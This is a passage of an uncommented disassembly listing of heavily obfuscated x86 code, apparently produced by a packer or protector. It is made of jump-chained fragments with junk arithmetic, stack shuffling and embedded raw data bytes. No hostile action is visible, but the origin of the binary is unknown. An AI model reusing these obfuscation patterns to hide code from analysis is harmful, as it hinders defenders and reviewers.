		push	dx
		mov	dl, 60h
		add	bl, dl
		pop	dx
		jmp	loc_5A8C8F
; ---------------------------------------------------------------------------


loc_59A888:				; CODE XREF: sdfs____:0059CA5Cj
		xor	ecx, eax
		pop	eax
		jmp	loc_5A7E8C
; ---------------------------------------------------------------------------
		dd 8304C483h, 2C3304C4h, 242C3124h, 8B242C33h, 8B662424h
		dd 81512404h, 4ECh, 6D7AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A8B2:				; CODE XREF: sdfs____:005A68D2j
		mov	[esp], esi
		push	583A6001h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5AD6CA
; ---------------------------------------------------------------------------


loc_59A8C5:				; CODE XREF: sdfs____:005A7523j
		add	ebx, 37CE2AA8h
		pop	ebp
		push	edi
		mov	edi, 4BDB33D4h
		jmp	loc_5AEAC2
; ---------------------------------------------------------------------------


loc_59A8D7:				; CODE XREF: sdfs____:005A99D9j
		jmp	loc_599CFB
; ---------------------------------------------------------------------------


loc_59A8DC:				; CODE XREF: sdfs____:005AB872j
		mov	edx, 0E2257D2h
		sub	edx, 972D3105h
		add	eax, edx
		pop	edx
		xor	eax, 28D75139h
		push	edi
		mov	edi, 21C236D9h
		add	eax, edi
		pop	edi
		inc	eax
		sub	eax, 83DFDE59h
		xor	ebx, eax
		pop	eax
		and	ebx, 1E14030Eh
		add	ebx, 4B50097h
		jmp	loc_5A8771
; ---------------------------------------------------------------------------
		dw 1487h
		dd 24248B24h, 51F9F766h, 6F0068h, 24248900h, 4240481h
		dd 8B000000h, 0C481240Ch, 4, 4C181h, 0B8500000h, 22B50E66h
		dd 0FF685550h, 0E9FFFFFFh, 0E2B9h
; ---------------------------------------------------------------------------


loc_59A94C:				; CODE XREF: sdfs____:005A6BA0j
		sub	esp, 4
		mov	[esp], ebx
		push	2D6h
		push	708Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_59F4D8
; ---------------------------------------------------------------------------


loc_59A972:				; CODE XREF: sdfs____:005A5679j
		not	esi
		xchg	esi, edi
		jmp	loc_59F473
; ---------------------------------------------------------------------------


loc_59A97B:				; CODE XREF: sdfs____:005ADA86j
		push	ecx
		mov	ecx, 17BF608Dh
		jmp	loc_5A2450
; ---------------------------------------------------------------------------


loc_59A986:				; CODE XREF: sdfs____:005AED25j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 613D3576h
		not	edi
		inc	edi
		jmp	loc_59B243
; ---------------------------------------------------------------------------


loc_59A99C:				; CODE XREF: sdfs____:005AF161j
		xor	al, ch
		pop	cx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A9A4A
; ---------------------------------------------------------------------------
dword_59A9B4	dd 0E924248Bh, 0FFFFE753h, 5C240433h, 0D1B7E9h
					; DATA XREF: sdfs____:00598F94o
		db 0
; ---------------------------------------------------------------------------


loc_59A9C5:				; CODE XREF: sdfs____:0059B042j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_59FDA7
		push	ebp
		push	esi
		push	ebx
		jmp	loc_5999C3
; ---------------------------------------------------------------------------


loc_59A9DC:				; CODE XREF: sdfs____:005A8D60j
		sub	edx, 522A0A37h
		add	ecx, edx
		jmp	loc_5AA4B1
; ---------------------------------------------------------------------------


loc_59A9E9:				; CODE XREF: sdfs____:005A7D00j
		push	ebp
		mov	ebp, 0FC630C8h
		jmp	loc_59EBCA
; ---------------------------------------------------------------------------


loc_59A9F4:				; CODE XREF: sdfs____:005AEC82j
		add	esi, 16BD4811h
		jmp	loc_59CFC4
; ---------------------------------------------------------------------------
		db 68h
		dd 3BAEh, 0E9243C89h, 0FFFFFAA5h
; ---------------------------------------------------------------------------


loc_59AA0C:				; CODE XREF: sdfs____:005ABFC8j
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_59A4BB
; ---------------------------------------------------------------------------


loc_59AA1B:				; CODE XREF: sdfs____:005AEBB4j
		pop	ebp
		add	edx, 4E345970h
		sub	edx, ebp
		push	eax
		push	ecx
		mov	ecx, 1B5E712Eh
		mov	eax, 32D5E842h
		sub	eax, 75D58B8h
		sub	eax, 5D8967A3h
		jmp	loc_5A1277
; ---------------------------------------------------------------------------


loc_59AA3F:				; CODE XREF: sdfs____:005AC4F0j
		mov	edx, 5ED82BDEh
		shr	edx, 2
		jmp	loc_5ACC4A
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 0D5F704C4h, 5D2E956h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59AA5A:				; CODE XREF: sdfs____:005AA42Fj
		mov	[esp], eax
		jmp	loc_5A7381
; ---------------------------------------------------------------------------
word_59AA62	dw 0C8Bh		; DATA XREF: sdfs____:00598E78o
		dd 0EC815624h, 4, 24048F54h, 4240483h, 6212E9h
		db 0
; ---------------------------------------------------------------------------


loc_59AA79:				; CODE XREF: sdfs____:0059FBA1j
		mov	[esp], edx
		jmp	loc_5AD383
; ---------------------------------------------------------------------------


loc_59AA81:				; CODE XREF: sdfs____:005997B8j
		mov	bl, 97h
		and	bl, 0C6h
		xor	bl, 76h
		add	ch, bl
		jmp	loc_5A1A42
; ---------------------------------------------------------------------------


loc_59AA90:				; CODE XREF: sdfs____:005A2114j
		add	ebx, edi
		pop	edi
		sub	ebx, 164137F7h
		pop	esi
		push	ecx
		mov	ecx, 2
		jmp	loc_5A263D
; ---------------------------------------------------------------------------


loc_59AAA5:				; CODE XREF: sdfs____:005ADB23j
		mov	ah, 0DCh
		sub	ch, ah
		pop	eax
		sub	al, ch
		jmp	loc_5AA614
; ---------------------------------------------------------------------------


loc_59AAB1:				; CODE XREF: sdfs____:005AE11Bj
		mov	al, 72h
		jmp	loc_5A6905
; ---------------------------------------------------------------------------


loc_59AAB8:				; CODE XREF: sdfs____:005A10ACj
		sub	esi, 60FE08C8h
		add	esi, ebx
		add	esi, 60FE08C8h
		jmp	loc_5A96D1
; ---------------------------------------------------------------------------


loc_59AACB:				; CODE XREF: sdfs____:0059D43Dj
		xor	dh, 1Ah
		add	dh, 0D6h
		mov	bh, 54h
		xor	bh, dh
		pop	edx
		inc	bh
		push	edx
		mov	dl, 3Ch
		shr	dl, 1
		xor	dl, 0EBh
		jmp	loc_59C15E
; ---------------------------------------------------------------------------


loc_59AAE5:				; CODE XREF: sdfs____:005AF461j
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_59B7B8
; ---------------------------------------------------------------------------


loc_59AAF4:				; CODE XREF: sdfs____:005A2733j
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5A4090
; ---------------------------------------------------------------------------


loc_59AAFF:				; CODE XREF: sdfs____:005A1713j
		pop	edi
		inc	edi
		jle	loc_5A16E6
		not	edi
		xor	edi, 4777641Ch
		jnz	loc_5A5243
		add	edi, 3D9CDE1Ch
		mov	ecx, edi
		pop	edi
		push	ebp
		mov	ebp, edi
		mov	ah, bl


loc_59AB23:				; DATA XREF: sdfs____:00599048o
		mov	cx, [esp]
		jmp	loc_5A59E9
; ---------------------------------------------------------------------------


loc_59AB2C:				; CODE XREF: sdfs____:005AD20Ej
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 4
		jmp	loc_5A6A6B
; ---------------------------------------------------------------------------


loc_59AB42:				; CODE XREF: sdfs____:0059BF99j
		or	ecx, 4D030CD6h
		push	esi
		jmp	loc_59F56C
; ---------------------------------------------------------------------------


loc_59AB4E:				; CODE XREF: sdfs____:005A597Aj
		pop	edi
		jmp	loc_5A7D50
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 0ED9FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59AB62:				; CODE XREF: sdfs____:005992E0j
		add	edi, ebx
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_59BD59
; ---------------------------------------------------------------------------


loc_59AB74:				; CODE XREF: sdfs____:0059B70Dj
		not	ecx
		add	ecx, 0F7C37BBAh
		add	edx, ecx
		pop	ecx
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59AB84:				; CODE XREF: sdfs____:005AA5A6j
		add	esi, 1
		jmp	loc_5A55D1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78300h, 5C243C87h, 2474FF53h, 48F5B04h, 0C895C24h
		dd 34746824h, 34890000h, 0E94BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59ABB6:				; CODE XREF: sdfs____:005AD291j
		add	edi, esi
		pop	esi
		add	edi, ebx
		sub	edi, 51F333DCh
		add	edi, 1BF687Fh
		jmp	loc_59F206
; ---------------------------------------------------------------------------


loc_59ABCC:				; CODE XREF: sdfs____:loc_5A2572j
		add	ebx, 0A95A29D5h
		push	ebx
		inc	dword ptr [esp]
		jmp	loc_5A74EC
; ---------------------------------------------------------------------------


loc_59ABDB:				; CODE XREF: sdfs____:005AF9DCj
		mov	ebx, [esp]
		push	ebp
		jmp	loc_5AAF67
; ---------------------------------------------------------------------------
		dd 0C8BCF89h, 4C48124h,	81000000h, 4ECh, 24348900h, 0F389FE89h
		dd 8124348Bh, 4C4h, 0DBF75F00h,	768EB81h, 0A5E95BE2h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59AC13:				; CODE XREF: sdfs____:005ACB03j
		pop	esp
		xor	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	edx
		jmp	loc_5A9B09
; ---------------------------------------------------------------------------


loc_59AC20:				; CODE XREF: sdfs____:0059ADB7j
					; sdfs____:005A9084j
		ja	loc_5A0B69
		add	eax, 1F276869h
		not	eax
		inc	eax
		jmp	loc_5AFD90
; ---------------------------------------------------------------------------


loc_59AC33:				; CODE XREF: sdfs____:005A9230j
		dec	ecx
		xor	ecx, 0BCD31F35h
		push	ecx
		add	dword ptr [esp], 3403427Dh
		jmp	loc_59F391
; ---------------------------------------------------------------------------
		db 83h
		dd 14E904C4h, 5B000132h, 512EEE80h, 11101E9h
		db 0
; ---------------------------------------------------------------------------


loc_59AC59:				; CODE XREF: sdfs____:005AE8AEj
		add	esi, 287C75B4h
		jmp	loc_5A8A44
; ---------------------------------------------------------------------------


loc_59AC64:				; CODE XREF: sdfs____:005ADF22j
		xor	ecx, 4B02B769h
		mov	edx, ecx
		pop	ecx
		not	edx
		jmp	loc_5A83CA
; ---------------------------------------------------------------------------


loc_59AC74:				; CODE XREF: sdfs____:005AB669j
		pop	esp
		jmp	loc_5AD3F6
; ---------------------------------------------------------------------------
		dw 0D729h
		dd 1A0FC781h, 148B7ECDh, 4C48124h, 87000000h, 248B243Ch
		dd 243C8924h, 0E904EC83h, 10C41h
; ---------------------------------------------------------------------------


loc_59AC9C:				; CODE XREF: sdfs____:005A859Bj
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	edi
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A20B6
; ---------------------------------------------------------------------------


loc_59ACB7:				; CODE XREF: sdfs____:0059C24Dj
		pop	ecx
		add	ecx, 47FC2546h
		jmp	loc_5AF76D
; ---------------------------------------------------------------------------


loc_59ACC3:				; CODE XREF: sdfs____:005A7C34j
		push	eax
		mov	ah, 2Ch
		dec	ah
		or	ah, 8Bh
		jmp	loc_59BE7A
; ---------------------------------------------------------------------------
dword_59ACD0	dd 24048B66h, 0FFF991E9h		db 0FFh
; ---------------------------------------------------------------------------


loc_59ACD9:				; CODE XREF: sdfs____:005A2535j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	104322BEh
		pop	edi
		jmp	loc_5A691E
; ---------------------------------------------------------------------------


loc_59ACEB:				; CODE XREF: sdfs____:005AB389j
		pop	ebp
		shr	ecx, 7
		push	3F43h
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59AE5A
; ---------------------------------------------------------------------------
		dw 0DE01h
		dd 935E9h
		db 0
; ---------------------------------------------------------------------------


loc_59AD09:				; CODE XREF: sdfs____:005AEE81j
		shr	ch, 7
		jmp	loc_5A1AF6
; ---------------------------------------------------------------------------


loc_59AD11:				; CODE XREF: sdfs____:005998A8j
		xchg	ecx, [esp]
		jmp	loc_5A7949
; ---------------------------------------------------------------------------


loc_59AD19:				; CODE XREF: sdfs____:005A5B96j
					; sdfs____:005A9AC3j
		sub	dword ptr [esp], 1CFC059Fh
		sub	esp, 4
		jmp	loc_59ECE2
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E95E2434h, 105B6h
; ---------------------------------------------------------------------------


loc_59AD34:				; CODE XREF: sdfs____:005A004Fj
		push	4F4A3DF1h
		pop	edi
		add	edi, 0B0B5C213h
		jmp	loc_5A7F7A
; ---------------------------------------------------------------------------
aSP		db ')ê]é`P',0
		db 0
; ---------------------------------------------------------------------------


loc_59AD4D:				; CODE XREF: sdfs____:005AA1DCj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 30370683h
		jmp	loc_59944E
; ---------------------------------------------------------------------------
		db 66h,	53h, 52h
		dd 11B7FBB2h, 2C5AD728h, 0E9F828F0h, 90D8h
; ---------------------------------------------------------------------------


loc_59AD70:				; CODE XREF: sdfs____:005A28D8j
		mov	dl, 0E8h
		push	ax
		mov	al, 6Ah
		jmp	loc_5A7938
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 6B470548h
		jmp	loc_59D495
; ---------------------------------------------------------------------------


loc_59AD89:				; CODE XREF: sdfs____:0059CB95j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5A68C3
; ---------------------------------------------------------------------------


loc_59AD98:				; CODE XREF: sdfs____:0059E1A8j
		pop	eax
		xor	edx, esi
		mov	esi, [esp]
		jmp	loc_59EAD9
; ---------------------------------------------------------------------------


loc_59ADA3:				; CODE XREF: sdfs____:005A833Fj
		add	ah, 0AFh
		jmp	loc_5AD1D9
; ---------------------------------------------------------------------------


loc_59ADAB:				; CODE XREF: sdfs____:0059DEB2j
		jg	loc_59BBE6
		sub	edi, 3B4229CCh
		jno	loc_59AC20
		xor	al, 95h
		pop	eax


loc_59ADC0:				; CODE XREF: sdfs____:loc_5A6DC5j
		or	ecx, 311771C6h
		jz	loc_59EA61
		sub	ecx, 3FB773FAh
		mov	ebx, ecx
		pop	ecx
		sub	edi, 1FDF2007h
		sub	edi, ebx
		push	ebx
		mov	ebx, 50C73524h
		push	eax
		mov	eax, 455717F5h
		sub	ebx, eax
		pop	eax
		jmp	loc_5A87A2
; ---------------------------------------------------------------------------


loc_59ADF1:				; CODE XREF: sdfs____:005ADDB3j
		push	ecx
		push	0B5Bh
		mov	[esp], edi
		mov	edi, 6C735E10h
		sub	edi, 4B9C01C2h
		jmp	loc_5AFE51
; ---------------------------------------------------------------------------
		dw 0D968h
		dd 0E9000073h, 9BD6h
; ---------------------------------------------------------------------------


loc_59AE14:				; CODE XREF: sdfs____:005A2298j
		pop	edi
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		sub	ebp, 32712ED6h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 46E34A6Eh
		push	edi
		jmp	loc_5AE41A
; ---------------------------------------------------------------------------
byte_59AE39	db 0ADh, 31h, 0D8h	; DATA XREF: sdfs____:00598E58o
		dd 1E3A68h, 242C8900h, 0FB89B0BDh, 8AB8E974h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59AE4E:				; CODE XREF: sdfs____:0059E784j
		pop	esp
		push	ebp
		mov	ebp, 50E8064Ah
		jmp	loc_5AE66D
; ---------------------------------------------------------------------------


loc_59AE5A:				; CODE XREF: sdfs____:0059ACFDj
		pop	eax
		add	esp, 4
		push	11F1h
		mov	[esp], esi
		push	esp
		pop	esi
		push	3539h
		mov	[esp], eax
		push	edi
		push	ecx
		mov	ecx, 48817BEFh
		jmp	loc_59FAC6
; ---------------------------------------------------------------------------


loc_59AE7C:				; CODE XREF: sdfs____:005A9377j
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	316Dh
		mov	[esp], eax
		push	818h
		jmp	loc_5A8002
; ---------------------------------------------------------------------------


loc_59AE9B:				; CODE XREF: sdfs____:005AD689j
		push	ecx
		mov	ecx, 1000000h
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5ABE58
; ---------------------------------------------------------------------------
		db 0BFh, 20h, 15h
		dd 89526E31h, 0C0A3E9FAh, 0C890000h, 635BE924h,	47BF0000h
		dd 0E993D724h, 86B8h
; ---------------------------------------------------------------------------


loc_59AEC8:				; CODE XREF: sdfs____:005AA343j
		mov	ecx, [esp]
		jmp	loc_5A491A
; ---------------------------------------------------------------------------


loc_59AED0:				; CODE XREF: sdfs____:005A45D0j
		push	891h
		jmp	loc_5AA288
; ---------------------------------------------------------------------------


loc_59AEDA:				; CODE XREF: sdfs____:005A0FFAj
		mov	[esp], cx
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59AEE3:				; CODE XREF: sdfs____:005A1370j
		jmp	loc_59910F
; ---------------------------------------------------------------------------
aXsay		db 'XéAY',0
		align 2


loc_59AEEE:				; CODE XREF: sdfs____:005A8D9Bj
		mov	ecx, 70BD07D8h
		not	ecx
		add	ecx, 47F55756h
		add	ecx, 5DADDE89h
		or	esi, ecx
		pop	ecx
		or	esi, 1F582972h
		sub	esi, 97C8470Eh
		sub	ecx, esi
		pop	esi
		jmp	loc_5AF661
; ---------------------------------------------------------------------------
		dd 0C181D1F7h, 1, 1137EE9h
		db 0
; ---------------------------------------------------------------------------


loc_59AF25:				; CODE XREF: sdfs____:005AA1F3j
		sub	eax, 4BBD1050h
		jmp	loc_5A7BB3
; ---------------------------------------------------------------------------


loc_59AF2F:				; CODE XREF: sdfs____:005A8262j
		mov	edx, [esp]
		add	esp, 4
		add	ecx, edx
		sub	ecx, 51A73B7Dh
		mov	edx, [esp]
		jmp	loc_59A0FC
; ---------------------------------------------------------------------------


loc_59AF45:				; CODE XREF: sdfs____:00599697j
		add	ebx, 11C12E8Eh
		sub	ebx, ebp
		jmp	loc_5A24DC
; ---------------------------------------------------------------------------
		dw 0C5FEh
		dd 0B4258C0Fh, 96E90000h
		db 0CBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59AF5F:				; CODE XREF: sdfs____:005A45F2j
		sub	eax, 1EB6104Bh
		jo	loc_5A8C6A
		xor	eax, 5092D7E4h
		mov	ebp, eax
		pop	eax
		mov	ecx, esi
		pop	esp


loc_59AF75:				; CODE XREF: sdfs____:005A22A0j
		and	ebx, 74986DD8h
		add	ebx, 0AFEFBE7Ch
		mov	esi, ebx
		jmp	loc_5A95D9
; ---------------------------------------------------------------------------


loc_59AF88:				; CODE XREF: sdfs____:0059DC77j
		mov	[esp], edi
		push	ebp
		mov	ebp, 5C976EB7h
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		dec	edi
		push	0A87h
		mov	[esp], eax
		mov	eax, 0EE25678h
		jmp	loc_5A1845
; ---------------------------------------------------------------------------


loc_59AFAF:				; CODE XREF: sdfs____:005AF91Dj
		sub	dh, 58h
		dec	dh
		sub	dh, 2Ch
		jg	loc_59F28D
		xor	dh, 1Ah
		mov	ah, dh
		pop	edx
		jmp	loc_5AD751
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
; ---------------------------------------------------------------------------


loc_59AFCB:				; CODE XREF: sdfs____:005A2C68j
		add	eax, edx
		pop	edx
		jmp	loc_5ADECF
; ---------------------------------------------------------------------------
		db 87h
		dd 75E9240Ch, 81000109h, 42404h, 7EE90000h
		db 81h,	2 dup(0)
byte_59AFE7	db 55h			; DATA XREF: sdfs____:00598FACo
		dd 0FF07E9h
		db 0
; ---------------------------------------------------------------------------


loc_59AFED:				; CODE XREF: sdfs____:005A81C7j
		mov	[esp], ebp
		jmp	loc_5A4FF2
; ---------------------------------------------------------------------------


loc_59AFF5:				; CODE XREF: sdfs____:005AC36Bj
		sub	ecx, 41067E36h
		jmp	loc_5A3A11
; ---------------------------------------------------------------------------


loc_59B000:				; CODE XREF: sdfs____:005A22C6j
		add	edx, 4
		push	7957h
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		dec	ecx
		xor	ecx, 3810140h
		sub	ecx, 6B964FBAh
		jl	loc_59A632
		add	ecx, 69AE4D94h
		push	ecx
		pop	ebx
		mov	edi, edi
		push	ecx
		pop	eax
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_59A9C5
; ---------------------------------------------------------------------------


loc_59B047:				; CODE XREF: sdfs____:005A242Ej
		mov	ebx, edx
		pop	edx
		jmp	loc_59BBFD
; ---------------------------------------------------------------------------


loc_59B04F:				; CODE XREF: sdfs____:0059C8DDj
		push	4D00h
		mov	[esp], edx
		jmp	loc_5A0AE3
; ---------------------------------------------------------------------------


loc_59B05C:				; CODE XREF: sdfs____:loc_5AA097j
		or	ecx, 21CB7975h
		jbe	loc_59E37C
		jmp	loc_5A56A2
; ---------------------------------------------------------------------------


loc_59B06D:				; CODE XREF: sdfs____:005A94FCj
		mov	ax, [esp]
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5AA3EE
; ---------------------------------------------------------------------------


loc_59B081:				; CODE XREF: sdfs____:005A353Aj
		pop	edi
		jmp	loc_5A3F71
; ---------------------------------------------------------------------------


loc_59B087:				; CODE XREF: sdfs____:0059A63Aj
		pop	ecx
		push	ecx
		push	edx
		mov	edx, 0A2317E6h
		push	ebx
		mov	ebx, edx
		mov	ecx, ebx
		pop	ebx
		pop	edx
		not	ecx
		push	eax
		jmp	loc_5A60E1
; ---------------------------------------------------------------------------


loc_59B09E:				; CODE XREF: sdfs____:005AAD9Fj
		inc	esi
		sub	esi, 0AC8EF089h
		mov	eax, esi
		pop	esi
		sub	eax, 0EBA2E0BAh
		sub	ebp, eax
		pop	eax
		add	[ebx], ebp
		pop	ebp
		jmp	loc_5A21EF
; ---------------------------------------------------------------------------


loc_59B0B8:				; CODE XREF: sdfs____:005A2020j
		mov	eax, 55ED26F6h
		jmp	loc_5AB3F0
; ---------------------------------------------------------------------------


loc_59B0C2:				; CODE XREF: sdfs____:005A2C85j
					; sdfs____:005AD3D0j
		or	edx, 4DDE0B55h
		or	edx, 38A226BDh
		xor	edx, 117021F2h
		neg	edx
		add	edx, 6C8F5E13h
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		push	esi
		mov	esi, 4
		mov	eax, esi
		pop	esi
		sub	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		jmp	loc_59BC36
; ---------------------------------------------------------------------------


loc_59B101:				; CODE XREF: sdfs____:005AE374j
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		jmp	loc_5A9B50
; ---------------------------------------------------------------------------


loc_59B114:				; CODE XREF: sdfs____:005A25A7j
					; sdfs____:005A841Fj
		push	ecx
		jmp	loc_5A8719
; ---------------------------------------------------------------------------


loc_59B11A:				; CODE XREF: sdfs____:005A4380j
		and	esi, edi
		pop	edi
		jmp	loc_59B88F
; ---------------------------------------------------------------------------


loc_59B122:				; CODE XREF: sdfs____:00599AEAj
		push	edx
		push	ecx
		mov	ecx, 1
		mov	edx, ecx
		jmp	loc_59D677
; ---------------------------------------------------------------------------


loc_59B130:				; CODE XREF: sdfs____:005AC508j
		xor	bh, 3Ah
		xor	cl, bh
		pop	ebx
		or	cl, 3
		jmp	loc_5A2937
; ---------------------------------------------------------------------------


loc_59B13E:				; CODE XREF: sdfs____:005A16E1j
		xchg	esi, [esp]
		jmp	loc_5A46B2
; ---------------------------------------------------------------------------


loc_59B146:				; CODE XREF: sdfs____:005AFE5Cj
		push	eax
		jmp	loc_5AE317
; ---------------------------------------------------------------------------
		dd 3358C201h, 6BE92414h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59B157:				; CODE XREF: sdfs____:005AE534j
		shr	ebx, 7
		and	ebx, 14E3169Fh
		jmp	loc_59B942
; ---------------------------------------------------------------------------


loc_59B165:				; CODE XREF: sdfs____:005A13A3j
		xor	ebx, 2164215h
		shr	ebx, 2
		sub	ebx, 26DC147h
		add	edi, ebx
		jmp	loc_5A2531
; ---------------------------------------------------------------------------


loc_59B17B:				; CODE XREF: sdfs____:005ADE9Ej
		shr	edi, 7
		push	esi
		push	edx
		push	0E9322EAh
		pop	edx
		jmp	loc_59CCC2
; ---------------------------------------------------------------------------


loc_59B18B:				; CODE XREF: sdfs____:005A9044j
		add	ecx, 5F26003Ch
		jmp	loc_59F7FB
; ---------------------------------------------------------------------------
word_59B196	dw 8B66h		; DATA XREF: sdfs____:00598E70o
		dd 0F068240Ch, 89000056h, 0E789243Ch, 10CEFE9h,	40484000h
		dd 7C1E2105h, 58C30179h, 4C381h, 1C870000h, 24248B24h
		dd 59E168h, 0E61EE900h,	148B0000h, 4C48324h, 348BF301h
		dd 0E7895724h, 1232CE9h
		db 0
; ---------------------------------------------------------------------------


loc_59B1DD:				; CODE XREF: sdfs____:005A6ACCj
		pop	eax
		push	dword ptr [esp]
		pop	edi
		push	esi
		mov	esi, esp
		jmp	loc_5AFEFB
; ---------------------------------------------------------------------------


loc_59B1EA:				; CODE XREF: sdfs____:005AD6C5j
		add	bl, 2Eh
		add	bl, 0C8h
		jmp	loc_59D548
; ---------------------------------------------------------------------------


loc_59B1F5:				; CODE XREF: sdfs____:005A6EBEj
		pop	ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	5B36h
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_5A1BBB
; ---------------------------------------------------------------------------


loc_59B210:				; CODE XREF: sdfs____:005A86B5j
		pop	eax
		jmp	loc_5ABC6D
; ---------------------------------------------------------------------------


loc_59B216:				; CODE XREF: sdfs____:005B0426j
		or	eax, 7D6C76D7h
		jnb	loc_5AB3A6
		jmp	loc_5A0E5B
; ---------------------------------------------------------------------------
		dw 895Ah
		dd 24048BC2h
		db 89h,	0F2h
word_59B22E	dw 2DADh		; DATA XREF: sdfs____:00598FB8o
		dd 714142AAh, 5E698F05h, 30C8055Fh, 15E92CBAh
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59B243:				; CODE XREF: sdfs____:0059A997j
		push	edx
		mov	edx, 272718A2h
		sub	edx, 12101C5Dh
		not	edx
		sub	edx, 791E6DEBh
		jmp	loc_59C0B0
; ---------------------------------------------------------------------------


loc_59B25C:				; CODE XREF: sdfs____:005AB405j
		xor	[esp], edi
		jmp	loc_5A9B45
; ---------------------------------------------------------------------------


loc_59B264:				; CODE XREF: sdfs____:005ABB2Fj
		sub	ebx, 34E94DA3h
		add	ebx, ebp
		add	ebx, 34E94DA3h
		mov	ebp, [esp]
		add	esp, 4
		push	1F96h
		mov	[esp], ebx
		jmp	loc_5AD4CC
; ---------------------------------------------------------------------------


loc_59B285:				; CODE XREF: sdfs____:0059FE2Bj
		xchg	esi, ebp
		not	esi
		xchg	esi, ebp
		push	edi
		jmp	loc_5A7A66
; ---------------------------------------------------------------------------
		db 0Fh,	8Dh, 0A9h
		dd 56000094h, 5131BD55h, 0EE890C9Dh, 0ABF7E9h, 4875500h
		dd 24248B24h, 4EC81h, 3EE90000h
		db 46h,	1, 0
; ---------------------------------------------------------------------------


loc_59B2B7:				; CODE XREF: sdfs____:005A0711j
		mov	[esp], ecx
		push	28h
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ecx, 1C874EB0h
		add	ecx, 50F312EDh
		jmp	loc_5A17F9
; ---------------------------------------------------------------------------
dword_59B2E4	dd 197468h, 24248900h, 9D10E956h		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B2F2:				; CODE XREF: sdfs____:0059EE99j
		mov	edx, 33687340h
		add	edx, 0CC978CC4h
		add	ebp, 6DAF552Bh
		add	ebp, edx
		sub	ebp, 6DAF552Bh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5AF2D9
; ---------------------------------------------------------------------------


loc_59B316:				; CODE XREF: sdfs____:0059D893j
		push	edx
		mov	edx, 68C93EEEh
		dec	edx
		dec	edx
		and	edx, 5CE131F0h
		add	edx, 6EB04715h
		add	edx, 488E880Fh
		sub	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 1DD651ACh
		push	66FEh
		mov	[esp], edi
		mov	edi, 5D097015h
		xor	esi, edi
		pop	edi
		add	esi, 24352E9Bh
		sub	esi, 0D8B7B6CBh
		sub	eax, esi
		pop	esi
		jmp	loc_5AD94F
; ---------------------------------------------------------------------------


loc_59B365:				; CODE XREF: sdfs____:005A5BF2j
		pop	ecx
		jmp	loc_59FE22
; ---------------------------------------------------------------------------
		db 83h
		dd 0FF042404h, 34E92434h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B377:				; CODE XREF: sdfs____:005AEF62j
		ja	loc_59D33E
		jmp	loc_5ABFCD
; ---------------------------------------------------------------------------
aS_7		db ')Çé`*',0
		db 0
; ---------------------------------------------------------------------------


loc_59B389:				; CODE XREF: sdfs____:005A1BA2j
		add	dh, 0CAh
		jmp	loc_5A8EC5
; ---------------------------------------------------------------------------


